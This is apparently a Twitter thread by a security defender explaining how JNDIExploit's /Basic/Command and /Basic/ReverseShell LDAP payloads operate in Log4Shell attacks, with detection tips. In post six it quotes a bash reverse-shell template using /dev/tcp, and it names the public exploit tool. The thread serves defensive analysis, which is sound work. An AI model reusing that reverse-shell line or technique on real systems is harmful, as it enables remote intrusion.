Thread by @captainGeech42

In a conversation I had with some folks yesterday about different exploit techniques for CVE-2021-44228, there was some confusion around how the /Basic/Command JNDI strings work. Let me break down what's happening here in a🧵(1/8)

#Log4Shell #log4j

First, these URIs are not a native part of the LDAP protocol. They aren't being handled by the JNDI lookup internally, and still require an outbound TCP connection to the attacker's malicious TCP server.

#Log4Shell #log4j

(2/8)

These URIs are observed when attackers use JNDIExploit for their malicious LDAP server. The original repo, github.com/0x727/JNDIExpl…, is no longer available, but this is a mirror of that repo I believe:

github.com/zzwlpx/JNDIExp…

#Log4Shell #log4j

(3/8)

As you can see from the project README, there are many different types of payloads that can be executed. I've observed /Basic/Command/Base64 and /Basic/ReverseShell, and I'm sure other defenders are seeing more of these.

#Log4Shell #log4j

(4/8)

/Basic/Command and /Basic/Command/Base64 use Runtime.getRuntime().exec() to run an arbitrary shell command, which is specified in the URI (optionally base64 encoded)

#Log4Shell #log4j

(5/8)

/Basic/ReverseShell doesn't use Java TCP socket code to spawn the shell. Rather, it shells out using the same technique and redirects bash to a TCP connection (good postexp detection opportunity!):

"/bin/bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1"

#Log4Shell #log4j

(6/8)

I've observed the actors deploying the Kinsing/REDSONJA backdoor using this malicious LDAP server and /Basic/Command/Base64, and there are plenty of other actors using this technique as well. It is commonly used in many PoC exploits on GitHub.

#Log4Shell #log4j

(7/8)

tl;dr /Basic/Command/Base64 still requires outbound TCP to successfully execute, and you can base64 decode the payload to observe the final shell command that will be executed, making analysis of that connection a bit easier.

#Log4Shell #log4j

(8/8)